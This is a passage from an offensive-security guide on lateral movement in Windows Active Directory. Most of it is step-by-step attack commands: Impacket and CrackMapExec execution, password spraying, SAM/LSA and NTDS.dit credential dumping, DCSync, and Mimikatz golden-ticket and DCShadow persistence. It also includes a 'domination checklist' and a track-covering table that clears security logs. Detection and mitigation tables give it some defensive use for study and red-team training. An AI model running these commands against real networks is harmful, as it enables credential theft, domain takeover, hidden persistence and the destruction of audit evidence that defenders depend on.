smbexec.py domain/user:password@TARGET_HOST
smbexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH
13.6 Comparison of Impacket Execution Methods
| Method |
Files Dropped |
Stealth |
Reliability |
Best For |
| psexec.py |
Yes (admin$) |
Low |
High |
When admin$ is available |
| wmiexec.py |
No |
Medium |
Medium |
Stealth operations |
| smbexec.py |
Minimal |
Medium |
Medium |
When WMI is blocked |
| dcomexec.py |
No |
Medium |
Low |
Alternative to WMI |
14. CrackMapExec / NetExec for Lateral Movement
14.1 Technical Explanation
- CrackMapExec (CME) / NetExec (nxc) is a post-exploitation tool
- Automates credential testing across multiple hosts
- Supports SMB, WMI, WinRM, RDP, SSH, and more
- Can execute commands, upload files, and harvest data
- NetExec is the forked/continued version of CME
14.2 Prerequisites
- Python 3.6+ installed
- Network access to targets
- Credentials or hashes to test
14.3 Step-by-Step Commands
# Basic SMB enumeration
crackmapexec smb 10.10.10.0/24 -u user -p password
nxc smb 10.10.10.0/24 -u user -p password
# With hash
crackmapexec smb 10.10.10.0/24 -u user -H NTLM_HASH
# Check signing status
crackmapexec smb 10.10.10.0/24 --signing
# List shares
crackmapexec smb TARGET_IP -u user -p password -M share_enum
# Execute command
crackmapexec smb TARGET_IP -u user -p password -x "whoami"
# Upload file
crackmapexec smb TARGET_IP -u user -p password --local-auth -M upload_file -o FILE=payload.exe DEST=C$\payload.exe
# Download file
crackmapexec smb TARGET_IP -u user -p password --local-auth -M download_file -o FILE=C$\target.txt
# Get sessions
crackmapexec smb TARGET_IP -u user -p password --sessions
# Dump SAM database
crackmapexec smb TARGET_IP -u user -p password --sam
# Dump LSA secrets
crackmapexec smb TARGET_IP -u user -p password --lsa
# WMI execution
crackmapexec wmi TARGET_IP -u user -p password -x "whoami"
# WinRM execution
crackmapexec winrm TARGET_IP -u user -p password
# RDP check
crackmapexec rdp TARGET_IP -u user -p password
# SSH
crackmapexec ssh TARGET_IP -u user -p password
# Password spray
crackmapexec smb 10.10.10.0/24 -u users.txt -p password123
# Credential file
crackmapexec smb 10.10.10.0/24 -u users.txt -p passwords.txt
# Kerberos
crackmapexec smb TARGET_IP -u user --kdcHost DC_IP --use-kcache
14.4 Useful Modules
| Module |
Purpose |
| share_enum |
List SMB shares |
| user_enum |
Enumerate users |
| group_enum |
Enumerate groups |
| local_admin |
Check local admin access |
| pass_policy |
Get password policy |
| wsus |
Enumerate WSUS |
| gpp_autologin |
Check GPP autologin |
| gpp_password |
Check GPP passwords |
| spooler |
Check PrintNightmare |
| zerologon |
Check ZeroLogon vulnerability |
14.5 Detection Indicators
| Indicator |
Source |
| Multiple failed logons |
Security Event Log |
| Rapid credential testing |
SIEM correlation |
| Unusual SMB connections |
Network monitoring |
| Module execution patterns |
EDR |
14.6 Mitigation
| Control |
Description |
| Account lockout |
Lock accounts after failed attempts |
| Network segmentation |
Limit scan reach |
| Monitor failed logons |
Alert on brute force patterns |
| EDR deployment |
Detect tool execution |
15. BloodHound Attack Path Execution
15.1 Technical Explanation
- BloodHound maps AD attack paths using graph theory
- Collects data via SharpHound (C#) or BloodHound Python
- Identifies shortest paths to Domain Admin / Enterprise Admin
- Shows ACL misconfigurations, trust relationships, and delegation
- Essential for planning lateral movement strategy
15.2 Attack Path Flow
graph TD
A[Initial Compromise] --> B[Run SharpHound]
B --> C[Upload to BloodHound]
C --> D[Find Shortest Path]
D --> E[Execute Attack Path]
E --> F[Reach Domain Admin]
F --> G[DCSync / Golden Ticket]
G --> H[Full Domain Control]
15.3 Prerequisites
- BloodHound server (Neo4j + BloodHound UI)
- SharpHound or BloodHound Python
- Domain user credentials
- Network access to collect data
15.4 Step-by-Step Commands
# Collect data
bloodhound-python -d DOMAIN -u user -p password -c All --zip
# Or using SharpHound on Windows
.\SharpHound.exe -c All -d DOMAIN.local
# Upload data to BloodHound UI at http://localhost:8080
# Find attack paths in UI
# Execute the recommended steps
15.5 Common Attack Paths
| Path |
Description |
| User to Local Admin to Domain Admin |
Via local admin on DC |
| User to ACL to Domain Admin |
Via GenericAll / WriteDACL |
| User to GMSA to Domain Admin |
Via GMSA credential access |
| User to Constrained Delegation to DC |
Via SPN delegation |
| User to Unconstrained Delegation to DC |
Via delegation capture |
| User to ACL to DCSync |
Via forced DCSync rights |
| Tool |
Purpose |
| SharpHound |
C# data collector (Windows) |
| BloodHound Python |
Python data collector (cross-platform) |
| BloodHound UI |
Web-based analysis interface |
| Neo4j |
Graph database backend |
15.7 Detection Indicators
| Indicator |
Source |
| SharpHound execution |
EDR / AMSI |
| Large LDAP queries |
DC logs |
| BloodHound server traffic |
Network monitoring |
| ACL enumeration patterns |
DC audit logs |
15.8 Mitigation
| Control |
Description |
| Regular BloodHound audits |
Find and fix misconfigurations |
| Restrict LDAP access |
Limit what users can query |
| Fix ACL issues |
Remove unnecessary permissions |
| Admin isolation |
Prevent admin accounts on workstations |
16. Privilege Escalation Through Lateral Movement
16.1 Overview
graph LR
A[Regular User] -->|Local Priv Esc| B[Local Admin]
B -->|Credential Harvest| C[Domain User]
C -->|ACL / Delegation| D[Domain Admin]
D -->|Trust / DCSync| E[Enterprise Admin]
E -->|Forest-wide| F[Full Control]
16.2 From User to Local Admin
| Technique |
Description |
| Local privilege escalation |
Exploit vulnerabilities (CVEs) |
| Unquoted service paths |
Misconfigured services |
| Weak file permissions |
Writable service binaries |
| AlwaysInstallElevated |
MSI installation abuse |
| Token impersonation |
Steal admin tokens |
| Credential harvesting |
Extract admin creds from memory |
crackmapexec smb TARGET_IP -u user -p password --local-auth
Import-Module .\PowerUp.ps1
Invoke-AllChecks
./linpeas.sh
16.3 From Local Admin to Domain Admin
| Technique |
Description |
| DC local admin |
If local admin on DC = Domain Admin |
| Domain admin session |
Harvest DA credentials from memory |
| ACL manipulation |
Modify DA account ACLs |
| Delegation abuse |
Exploit constrained/unconstrained delegation |
| GMSA abuse |
Access GMSA credentials |
| Shadow Credentials |
Abuse msDS-KeyCredentialLink |
crackmapexec smb DC_IP -u user -p password --local-auth
secretsdump.py DOMAIN/user:password@DC_IP -just-dc
16.4 From Domain Admin to Enterprise Admin
| Technique |
Description |
| Domain trust |
Abuse inter-domain trust relationships |
| Resource SID |
Abuse Resource SID attribute |
| AdminSDHolder |
Modify AdminSDHolder ACLs |
| Cross-domain DCSync |
Sync from child to parent domain |
secretsdump.py CHILD_DOMAIN/user:password@PARENT_DC_IP -just-dc
17. Post-Exploitation in AD
17.1 Domain Persistence
| Technique |
Description |
| Golden Ticket |
Forged TGT for long-term access |
| DCSync rights |
Grant DCSync to backdoor account |
| ACL manipulation |
Modify permissions for persistence |
| Kerberoasting backdoor |
Add service with weak password |
| Shadow Credentials |
Add key credential links |
17.2 Golden Sleeper
- Create a golden ticket with a far-future start time
- Ticket is dormant until the start time
- Provides undetectable long-term persistence
- DC cannot detect it (valid Kerberos ticket)
mimikatz # kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-XXX /krbtgt:NTLMHASH /id:500 /startoffset:525600 /endin:600 /ptt
# /startoffset:525600 = 1 year from now
17.3 DCShadow
- Register a rogue Domain Controller
- Push malicious changes to the domain
- Modify user attributes, ACLs, or passwords
- Unregister the rogue DC to cover tracks
mimikatz # lsadump::dc /shadow
mimikatz # lsadump::dcsync /user:DOMAIN\KRBTGT /shadow
17.4 ACL Manipulation for Persistence
impacket-addcomputer DOMAIN/user:password@DC_IP -computer-name BACKDOOR -computer-pass Password123
# Grant DCSync rights to backdoor account
18. Domain Controller Compromise
18.1 Why Compromise the DC?
- DC holds all domain credentials (NTDS.dit)
- DC is the authority for Kerberos authentication
- Local admin on DC = Domain Admin equivalent
- DC has DCSync rights by default
18.2 DC Compromise Methods
| Method |
Description |
| Local admin on DC |
Direct access via credentials |
| DCSync |
Extract all hashes remotely |
| NTDS.dit extraction |
Dump the AD database directly |
| Golden Ticket |
Forge tickets with KRBTGT hash |
| DCShadow |
Push changes as a rogue DC |
# Using secretsdump (DCSync method - preferred)
secretsdump.py DOMAIN/admin:password@DC_IP
# Using VSS (Volume Shadow Copy)
vshadow.exe -nw -p c:\shadow\ C:
copy \\?\c:\shadow\{GUID}\Windows\NTDS\NTDS.dit C:\temp\
reg save HKLM\SYSTEM C:\temp\SYSTEM
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL
19. Final Domain Domination Strategies
19.1 Domination Path
graph TD
A[Initial Access] --> B[Recon and Enum]
B --> C{Credentials?}
C -->|Yes| D[Lateral Movement]
C -->|No| E[Harvest Creds]
E --> D
D --> F{Domain Admin?}
F -->|Yes| G[DCSync / Golden Ticket]
F -->|No| H[Escalate Privileges]
H --> D
G --> I[Full Domain Control]
I --> J[Persistence]
J --> K[Cover Tracks]
19.2 Domination Checklist
| Step |
Action |
Tool |
| 1 |
Initial foothold |
Exploit / phishing |
| 2 |
Credential harvesting |
Mimikatz / secretsdump |
| 3 |
Network mapping |
Nmap / CrackMapExec |
| 4 |
BloodHound analysis |
SharpHound / BloodHound |
| 5 |
Execute attack path |
Impacket / Mimikatz |
| 6 |
Reach Domain Admin |
DCSync / ACL abuse |
| 7 |
Extract KRBTGT |
secretsdump -just-dc-user KRBTGT |
| 8 |
Golden ticket |
kerberos::golden |
| 9 |
Full domain control |
PsExec / RDP to all hosts |
| 10 |
Persistence |
Golden sleeper / ACL backdoor |
19.3 Covering Tracks
| Action |
Command |
| Clear event logs |
wevtutil cl Security |
| Clear PowerShell logs |
Remove transcript files |
| Remove created accounts |
net user BACKDOOR /delete |
| Remove scheduled tasks |
schtasks /delete /tn TASKNAME |
| Clear prefetch |
Delete C:\Windows\Prefetch*.pf |
| Clear shell bags |
Use tool like Gumshoe |
20.1 Impacket Full Suite
| Tool |
Purpose |
Key Flags |
| psexec.py |
Remote execution via SMB |
-hashes, -k |
| wmiexec.py |
Remote execution via WMI |
-hashes, -k |
| smbexec.py |
Remote execution via SMB |
-hashes, -k |
| dcomexec.py |
Remote execution via DCOM |
-hashes, -k |
| secretsdump.py |
Extract credentials |
-just-dc, -just-user |
| getTGT.py |
Request TGT |
-hashes |
| ntlmrelayx.py |
NTLM relay attacks |
-t, -c |
| smbclient.py |
SMB file operations |
N/A |
| lookupsid.py |
SID enumeration |
N/A |
| samrdump.py |
SAM database dump |
N/A |
| lsadump.py |
LSA secrets dump |
N/A |
| karmaSMB.py |
SMB karma server |
N/A |
| services.py |
Remote service management |
N/A |
20.2 CrackMapExec / NetExec
| Protocol |
Command |
Description |
| SMB |
nxc smb TARGET -u user -p pass |
SMB enumeration and execution |
| WMI |
nxc wmi TARGET -u user -p pass |
WMI execution |
| WinRM |
nxc winrm TARGET -u user -p pass |
WinRM execution |
| RDP |
nxc rdp TARGET -u user -p pass |
RDP check |
| SSH |
nxc ssh TARGET -u user -p pass |
SSH enumeration |
| LDAP |
nxc ldap TARGET -u user -p pass |
LDAP enumeration |
| MSSQL |
nxc mssql TARGET -u user -p pass |
MSSQL enumeration |
20.3 Mimikatz
| Module |
Purpose |
Example |
| sekurlsa::logonpasswords |
Extract credentials from memory |
sekurlsa::logonpasswords |
| sekurlsa::pth |
Pass-the-Hash |
sekurlsa::pth /user:ADMIN /domain:DOM /ntlm:HASH |
| kerberos::list |
List Kerberos tickets |
kerberos::list |
| kerberos::ptt |
Pass-the-Ticket |
kerberos::ptt ticket.kirchil |
| kerberos::golden |
Golden/Silver ticket |
kerberos::golden /user:ADMIN /domain:DOM.local /sid:SID /krbtgt:HASH |
| lsadump::dcsync |
DCSync attack |
lsadump::dcsync /user:DOM\KRBTGT |
| lsadump::domain |
Domain info |
lsadump::domain /domain:DOM |
| token::elevate |
Token elevation |
token::elevate |
| token::list |
List tokens |
token::list |
| privilege::debug |
Debug privilege |
privilege::debug |
20.4 Rubeus
| Command |
Purpose |
| rubeus triage |
List current Kerberos tickets |
| rubeus dump |
Dump all tickets |
| rubeus asktgt |
Request TGT (with hash/password) |
| rubeus asktgs |
Request TGS ticket |
| rubeus s4u |
S4U2Self/S4U2Proxy attacks |
| rubeus kerberoast |
Kerberoasting attack |
| rubeus renew |
Renew a ticket |
| rubeus ptt |
Pass-the-Ticket |
| rubeus reset |
Reset user password |
| rubeus shadowauto |
Shadow Credentials attack |
20.5 BloodHound Execution
| Step |
Command |
| Collect data (Python) |
bloodhound-python -d DOMAIN -u user -p pass -c All –zip |
| Collect data (C#) |
SharpHound.exe -c All -d DOMAIN.local |
| Start server |
bloodhound –no-sandbox |
| Upload data |
Via web UI at localhost:8080 |
| Find paths |
Use Find Attack Paths in UI |
| Cypher queries |
Custom queries in Cypher tab |
| Module |
Purpose |
| admin/psexec/psexec |
PsExec execution |
| exploit/windows/smb/ms17_010_eternalblue |
EternalBlue exploit |
| post/windows/gather/credentials/mimikatz |
Mimikatz integration |
| post/windows/gather/enum_ad_computers |
Enumerate AD computers |
| post/windows/gather/enum_ad_users |
Enumerate AD users |
| post/windows/gather/enum_ad_groups |
Enumerate AD groups |
| exploit/windows/smb/psexec_service |
PsExec service exploit |
| post/windows/manage/enable_rdp |
Enable RDP on target |
| post/windows/manage/ps_remoting |
PowerShell remoting |
| exploit/windows/smb/ms08_067_netapi |
MS08-067 exploit |
Appendix A: Quick Reference — Lateral Movement Decision Tree
graph TD
START[Have Credentials?] -->|No| HARVEST[Harvest: Mimikatz/Responder/secretsdump]
HARVEST --> START
START -->|Yes| HASH{Have Hash or Password?}
HASH -->|Password| PASS[Use Password: psexec/wmiexec/evil-winrm]
HASH -->|Hash| PTH[Pass-the-Hash: psexec -hashes]
PASS --> CHECK{Admin on Target?}
PTH --> CHECK
CHECK -->|Yes| EXEC[Execute: cmd/powershell]
CHECK -->|No| ESC[Escalate: PowerUp/Token Manipulation]
ESC --> CHECK
EXEC --> NEXT{Need Domain Admin?}
NEXT -->|Yes| DA[DCSync / ACL Abuse / Delegation]
NEXT -->|No| PIVOT[Pivot to Next Host]
DA --> DONE[Domain Admin Achieved]
PIVOT --> START
Appendix B: Common Event IDs for Detection
| Event ID |
Description |
Relevance |
| 4624 |
Logon success |
All auth methods |
| 4625 |
Logon failure |
Brute force detection |
| 4648 |
Explicit credential logon |
PsExec, runas |
| 4672 |
Admin privileges assigned |
Privilege escalation |
| 4768 |
KDC TGT request |
Kerberos attacks |
| 4769 |
KDC TGS request |
Kerberos attacks |
| 4771 |
Pre-auth failure |
Kerberoasting |
| 4662 |
Object access |
DCSync detection |
| 7045 |
Service installed |
PsExec detection |
| 4698 |
Scheduled task created |
Persistence |
| 5140/5145 |
Share access |
SMB enumeration |
| 4663 |
File/object access |
File exfiltration |
| 4104 |
PowerShell script block |
PowerShell attacks |
| 4688 |
Process creation |
Execution detection |
Appendix C: Logon Types
| Type |
Description |
| 2 |
Interactive logon |
| 3 |
Network logon (SMB, NTLM) |
| 4 |
Batch logon |
| 5 |
Service logon |
| 7 |
Unlock workstation |
| 8 |
NetworkCleartext |
| 9 |
New credentials (runas) |
| 10 |
Remote interactive (RDP, WinRM) |
| 11 |
Cached interactive |
End of Chapter — Lateral Movement in Active Directory